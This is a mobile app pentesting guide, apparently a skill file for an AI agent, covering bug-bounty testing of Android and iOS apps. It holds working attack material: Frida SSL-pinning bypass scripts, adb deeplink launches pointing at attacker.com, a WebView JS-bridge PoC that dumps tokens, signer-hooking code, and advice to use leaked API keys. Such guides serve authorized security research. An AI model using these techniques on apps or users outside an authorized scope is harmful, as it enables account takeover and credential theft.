mobile-pentest

---
name: mobile-pentest
description: 'Mobile app pentest for bug bounty (Android APK + iOS IPA) — runtime-first workflow: install app, proxy through Burp/mitmproxy, drive the UI, capture packets, then test the API exactly like a web target; escalate to decompile (apktool/jadx) and Frida/objection only when traffic is SSL-pinned, encrypted, or absent. Covers APK/IPA decompile for hardcoded secrets + hidden API endpoints + base URLs the web app never exposes, exported-activity and deeplink intent injection, WebView addJavascriptInterface bridge abuse, SSL pinning bypass (objection patchapk / Frida CertificatePinner + checkServerTrusted hooks), OkHttp interceptor chain to recover request signing, JNI native-lib triage, and the quick apktool/grep secret + endpoint sweep. Use when the program scope includes a mobile app, when web recon dries up and you need a fresh attack surface, or when traffic is pinned and you must MitM it.'
---

# MOBILE APP PENTEST (ANDROID / iOS)

Mobile apps talk to the same backend as the web app — but they ship a **different, less-hunted attack surface**: base URLs, API endpoints, header schemes, and hardcoded secrets that web recon never sees. Most hunters skip mobile. That's the edge.

> **The whole point:** the APK/IPA is a copy of the client. Decompile it once and you get every endpoint the web JS never references, every staging/internal base URL, and often a live API key sitting in `strings.xml`. Then you attack the backend like any web target.

---

## RUNTIME-FIRST — THE ONE RULE THAT MATTERS

**Do NOT start by decompiling.** Decompiling first burns hours recovering crypto you may never need. Default order:

```
1. Install the app on a device/emulator (in scope confirmed via /scope)
2. Point it at Burp / mitmproxy
3. Drive the real business flows by hand (login, pay, edit profile, share)
4. After each action, check the proxy: are requests visible and replayable?
5. Traffic visible + replayable  → STOP. Test the API like a web target.
6. Traffic pinned / encrypted / absent → THEN escalate to apktool/jadx/Frida.
```

Most of your paid mobile bugs (IDOR, auth bypass, business logic) come from step 5 — plain HTTP traffic you replay in Burp. Reversing (apktool/jadx/Frida) is a **support step** to get traffic flowing or to recover a request signer, not the goal.

> If Burp already has a stable, replayable request, you are done reversing. Switch to server-side testing.

---

## 0. SCOPE CHECK FIRST

Mobile has its own scope traps. Before touching the binary:

- Is the **app itself** in scope, or only the web domains? Many programs list the app package (`com.target.app`) explicitly. If only `*.target.com` is listed, the **API endpoints** the app calls are usually in scope — but the app binary analysis may not be. Run `/scope`.
- Third-party SDKs (analytics, ads, crash reporters) bundled in the APK are **out of scope** — they belong to Firebase/Sentry/AppsFlyer, not the target.
- Don't report "app is debuggable" / "no root detection" / "no obfuscation" — these are N/A on almost every program (no real-world attacker impact). See the Never-Submit list below.

---

## 1. SETUP (one-time)

```bash
# Android device/emulator over adb
adb devices
adb install target.apk                     # or pull a live install: adb shell pm path com.target.app

# Proxy — route device traffic through Burp or mitmproxy
# Android: Settings > Wi-Fi > proxy = <laptop-ip>:8080, install Burp CA as a *system* cert
# (user certs are ignored by apps targeting API 24+ — push to /system/etc/security/cacerts on a rooted device,
#  or use objection patchapk to inject a network_security_config that trusts user certs)
mitmproxy --listen-port 8080               # CLI alternative to Burp; mitmweb for a UI

# Reversing toolchain
apktool d target.apk -o target_src         # smali + resources + manifest (recompilable)
jadx-gui target.apk                         # DEX -> readable Java (best for reading logic)
jadx -d target_jadx target.apk              # CLI batch decompile

# Runtime instrumentation
pip install frida-tools objection
# Pin a compatible gadget version — Frida 17 broke older flows; 16.7.x is the stable bug-bounty pick (2025)
frida --version
```

iOS needs a jailbroken device (Apple ships no emulator that defeats pinning). Same flow: install IPA, proxy, drive UI, escalate to `frida`/`objection` only if pinned.

---

## 2. STATIC SWEEP — SECRETS + ENDPOINTS WEB RECON MISSES  🔑

This is the highest-ROI 5 minutes in mobile hunting. Decompile, then grep. The quick check (no rooted device needed):

```bash
apktool d target.apk -o target_src

# Hardcoded secrets — strings.xml is where lazy devs stash keys
grep -rn "api_key\|secret\|password\|token\|Authorization\|Bearer\|client_secret\|private_key" \
  target_src/ --include="*.smali" --include="*.xml"

# Base URLs + endpoints — the gold. Strip framework noise:
grep -rn "https://" target_src/ | grep -v "schema\|xmlns\|android\|google\|w3.org\|apache" | sort -u | head -80

# Firebase / cloud creds frequently shipped in resources
grep -rniE "firebaseio\.com|amazonaws\.com|s3\.|googleapis|cloudfront|\.blob\.core" target_src/

# Use jadx output (Java) for readability when smali is unreadable
jadx -d target_jadx target.apk
grep -rnE "https?://[a-z0-9.-]+" target_jadx/sources/ | grep -viE "android|google|w3\.org" | sort -u
```

Automate it with `apkleaks` (regex pack for URIs + secrets) when installed:

```bash
apkleaks -f target.apk -o target_apkleaks.txt    # endpoints + secret patterns in one pass
```

What to do with each hit (impact-first — this is what makes it submittable vs N/A):

| Found in APK | Action — prove real impact RIGHT NOW |
|---|---|
| `internal-api.target.com` / `staging.target.com` base URL not in web recon | `httpx` it, crawl it, `/recon` it — fresh surface, often weak auth |
| Live API key (Google Maps, AWS, Algolia, Mapbox, SendGrid) | **Call the API as the key.** Unkeyed billing = $$. See Credential Leaks rule — a key alone is Informational; proven access is Medium/High |
| Endpoint the web app never calls (`/api/internal/`, `/admin/`, `/debug/`) | Hit it from Burp with your session token — admin/IDOR candidate |
| Hardcoded backend password / basic-auth header | Verify it authenticates against the live host |

> Mobile is the single best place to find **non-public base URLs**. The web JS bundle only references prod; the app frequently hardcodes staging, internal, and partner APIs. Each one is a new `/recon` target.

---

## 3. NETWORK-LAYER TESTING — TREAT IT LIKE A WEB TARGET  📡

Once traffic is in Burp, mobile API testing **is** web API testing. The loop:

```
baseline capture -> stable replay -> small mutation -> compare response + side effect -> expand by bug class
```

1. Capture one clean baseline request, replay it **unchanged** to prove it's stable.
2. Mutate the **smallest safe field first** (never many fields at once — if it's signed/stateful, multi-field changes hide the real blocker).
3. Compare status, body, timing, and server state. Note: accepted / normalized / rejected / blocked-by-signer.

What to hit first (full payloads + bypass tables live in the web2-vuln-classes and security-arsenal skills):

- **Auth / session** — strip or swap the bearer token, device-id, and tenant/user-id; replay across two accounts. Mobile apps love `X-User-Id` / `deviceId` headers that the server trusts → horizontal IDOR.
- **Business logic** — change object IDs, amounts, prices, coupon state; skip workflow steps; replay payment requests (race / double-spend). Follow the money.
- **Injection** — fields reaching search, filter, file metadata, XML, or server-side fetch. SSRF/SSTI/SQLi same as web.
- **GraphQL / WebSocket** — introspection, field overreach, channel auth, stale-token reuse.

> Mobile API endpoints are frequently **older and less-reviewed** than the web equivalents — the same dev shipped a stricter web gateway but the app hits a legacy `/v1/` route directly. Always diff the app's endpoints against the web app's.

---

## 4. SSL PINNING BYPASS — WHEN TRAFFIC IS BLANK  🔓

If the proxy shows **no app traffic** (only OS/other-app traffic), the app is pinning. Pinning bypass is a support step to get back to network-layer testing — not a finding by itself.

**Fastest path — objection (works against most stock implementations):**

```bash
# Repackage the APK with a Frida gadget + pinning-bypass hooks baked in (no root needed)
objection patchapk -s target.apk --ignore-nativelibs --gadget-version 16.7.19
adb install target.objection.apk
objection -g com.target.app explore
# then inside the objection REPL:
android sslpinning disable        # hooks OkHttp CertificatePinner, TrustManager, etc.
# iOS equivalent (jailbroken):  ios sslpinning disable
```

**When objection fails (custom pinning / obfuscation) — targeted Frida hook:**

```javascript
// pin-bypass.js — hook the two canonical Android pinning chokepoints
Java.perform(function () {
  // 1. OkHttp CertificatePinner.check() -> make it a no-op
  try {
    var CertPinner = Java.use('okhttp3.CertificatePinner');
    CertPinner.check.overload('java.lang.String', 'java.util.List').implementation = function () {
      console.log('[+] OkHttp CertificatePinner.check() bypassed: ' + arguments[0]);
      return;  // SECURE app would throw SSLPeerUnverifiedException here
    };
  } catch (e) {}

  // 2. Custom X509TrustManager.checkServerTrusted() -> accept everything
  var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
  TrustManagerImpl.checkTrustedRecursive.implementation = function () {
    console.log('[+] checkServerTrusted bypassed');
    return Java.use('java.util.ArrayList').$new();
  };
});
```

```bash
frida -U -f com.target.app -l pin-bypass.js     # spawn + inject
# or use the well-known universal codeshare script:
frida -U -f com.target.app --codeshare akabe1/frida-multiple-unpinning
```

After bypass, traffic flows into Burp → go back to the Network-Layer loop. **You don't report the pinning** — you report whatever the now-visible traffic lets you exploit.

---

## 5. EXPORTED ACTIVITIES + DEEPLINK INJECTION  📲

`AndroidManifest.xml` is a free attack-surface map. Any component with `exported="true"` (or an intent-filter, which makes it exported by default) can be launched by **any other app on the device — or a malicious web page**.

```bash
# Pull the manifest and list every exported component + deeplink scheme
apktool d target.apk -o target_src
grep -nE "exported=\"true\"|<activity|<receiver|<service|android:scheme=|category android:name=\"android.intent.category.BROWSABLE\"" \
  target_src/AndroidManifest.xml
```

The dangerous combo (the single most common paid mobile bug pattern):

```
exported="true"  +  BROWSABLE category  +  custom scheme  +  no parameter validation
```

That means a one-click `<a href="targetapp://...">` from any web page reaches an internal component. Test from adb first, then weaponize via a hosted HTML link:

```bash
# Launch an exported activity directly with attacker-controlled extras
adb shell am start -n com.target.app/.feature.UriActivity -d "targetapp://open?url=https://attacker.com"

# Probe a deeplink handler for open-redirect / WebView takeover
adb shell am start -W -a android.intent.action.VIEW \
  -d "targetapp://webview?url=https://attacker.com/poc.html" com.target.app
```

Impact ladder (what makes it submittable):

- Deeplink param flows into a **WebView `loadUrl()`** → attacker controls the page rendered inside the authenticated app → token theft / phishing in a trusted context. **This is the KuCoin-style `UriActivity` pattern** — a public-program report where an exported activity opened an arbitrary URL in the app's WebView.
- Deeplink reaches a **non-exported** internal component via intent redirection (`startActivity(getIntent().getParcelableExtra("forward"))`) → access screens meant to be internal-only.
- Deeplink sets an auth token / deep-links into a logged-in flow → **account takeover** if the URL is attacker-supplied (per Oversecured's disclosed deeplink→ATO chain).

> Web `javascript:` and `intent://` URIs in a browser can fire these deeplinks with one click. That browser→app pivot is what turns a "theoretical" exported component into a real, submittable one-click exploit.

---

## 6. WEBVIEW `addJavascriptInterface` BRIDGE  🌉

A WebView that calls `addJavascriptInterface(obj, "name")` exposes that Java object's `@JavascriptInterface` methods to **any JS running in the WebView**. If you also control the URL the WebView loads (via the deeplink bug above, an open redirect, or a `file://`/MitM page), the JS bridge is your foothold.

```bash
# Find the bridge + how the WebView is configured
grep -rnE "addJavascriptInterface|setJavaScriptEnabled|loadUrl|@JavascriptInterface|setAllowFileAccess|setAllowUniversalAccessFromFileURLs" \
  target_jadx/sources/
```

What to look for and prove:

```java
// VULNERABLE — bridge exposed + JS enabled + attacker controls the loaded URL
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsBridge(), "AndroidBridge");  // any method here is callable from JS
webView.loadUrl(intent.getData().toString());                     // attacker-controlled via deeplink
```

```javascript
// PoC page served from attacker.com, loaded via the deeplink WebView bug:
// call every exposed bridge method, dump what it returns
for (var m in AndroidBridge) {
  try { document.title += " " + m + "=" + AndroidBridge[m](); } catch(e){}
}
// High-value targets: getToken(), getUserInfo(), readFile(), getDeviceId(), saveContact()
```

- On **API < 17**, `addJavascriptInterface` exposes `getClass()` → reflection → arbitrary Java → effectively RCE. Rare now but still paid on legacy apps.
- On modern API, impact = whatever the bridge methods leak/do: auth token exfil, PII read, file read (`setAllowFileAccess`), privileged native action triggered by web JS.

> Chain it: deeplink injection (controls the URL) → WebView loads attacker page → JS bridge dumps the session token → account takeover. A→B→C, the kind of chain that pays well above a flat XSS.

---

## 7. RECOVERING THE REQUEST SIGNER (OkHttp interceptor chain)

Sometimes replay fails because the app adds a `X-Sign` / `sign` header the server validates. You only need to recover this if mutation keeps getting rejected — otherwise skip it. Static-first:

```bash
# Locate the signer in jadx — the OkHttp interceptor chain is where headers/signatures get written
grep -rnE "Interceptor|addInterceptor|Request\.Builder|HttpUrl|\.addHeader|\.header\(" target_jadx/sources/
grep -rnE "\"sign\"|\"token\"|hmac|HmacSHA|MessageDigest|Mac\.getInstance|Cipher\.getInstance" target_jadx/sources/
```

Call flow to trace (entry → wire):

```
Activity / Fragment
 -> ViewModel / Presenter
 -> Repository / DataSource
 -> ApiService (Retrofit)  -> OkHttp Interceptor (adds headers/sign) -> Signer / Encryptor
```

If the signer is Java, read the inputs (which fields + constants + device values feed the HMAC) and reimplement in Python, or just hook it with Frida and let the app sign for you:

```javascript
// Frida — dump signer inputs/outputs instead of reimplementing the algo
Java.perform(function () {
  var Signer = Java.use('com.target.app.network.SignUtil');
  Signer.sign.overload('java.lang.String').implementation = function (input) {
    var out = this.sign(input);
    console.log('[sign] in=' + input + '\n[sign] out=' + out);
    return out;
  };
});
```

**JNI / native note:** if the signer is in a `.so` (look for `System.loadLibrary` / `native` method declarations), don't dive into IDA first. Prove the Java→native boundary (which lib, which params in, which value out), then either hook the boundary or drive the app to sign for you. Reimplementing native crypto is the last resort, only when you need offline reproduction.

---

## NEVER SUBMIT (mobile N/A list — kill these fast)

These have no standalone real-world attacker impact and tank your validity ratio:

- "App is debuggable" / "backup allowed" — needs physical device access, N/A
- "No root / jailbreak detection" — not a vuln; you bypassing it is the *enabling* step, not the finding
- "No SSL pinning" / "SSL pinning bypassed" alone — pinning is defense-in-depth; report the traffic it exposed
- "No code obfuscation" / "APK can be decompiled" — every APK can; N/A
- Secrets that are public by design (Firebase web API keys, Google Maps keys with referrer restrictions) — only valid if you **prove unrestricted privileged access**
- Exported component that requires a signature-level permission or does nothing sensitive — no impact

> Every mobile finding must answer: **"Can a remote attacker, with no physical access to the victim's unlocked device, do this RIGHT NOW for real impact?"** If it needs the victim's rooted/unlocked phone, it's almost always N/A.

---

## REAL PAID EXAMPLES

- Exported `UriActivity` deeplink opened an arbitrary URL in the app's authenticated WebView (KuCoin, public bug bounty program) — `exported=true` + no URL validation, found by decompiling with jadx.
- Deep link → WebView redirect → token theft / account takeover — pattern documented across multiple disclosed Android reports (Oversecured research, seen on H1/Bugcrowd programs).
- `addJavascriptInterface` JS→Java bridge abused for unauthorized access on a major crypto-exchange Android app (disclosed writeup) — attacker-controlled WebView page called exposed bridge methods.
- Hardcoded live credentials / API keys in `strings.xml` and decompiled source — recurring high-signal pattern on mobile programs; impact gated on proving what the key accesses (pattern seen across H1/Bugcrowd).
- Internal/staging base URLs hardcoded in the APK that web recon never surfaced → fresh, weakly-authed API surface (recurring pattern; treat each as a new `/recon` target).

---

## TOOL ORDER (compress it, but keep the logic)

```
1. Burp / mitmproxy   — network visibility FIRST
2. apktool / jadx     — static proof (endpoints, secrets, manifest, signer)
3. adb                — drive components, read logs, launch deeplinks
4. frida / objection  — runtime hooks, pinning bypass, signer dump
5. IDA / Ghidra       — only when a .so native signer is the real blocker
```

Cross-reference: once traffic is replayable, hand off to the **web2-vuln-classes** skill (IDOR, auth bypass, SSRF, business logic, GraphQL) and **security-arsenal** for payloads. Validate every finding through the **triage-validation** 7-Question Gate before writing — mobile N/A reports hurt the most because they're easy to mass-submit.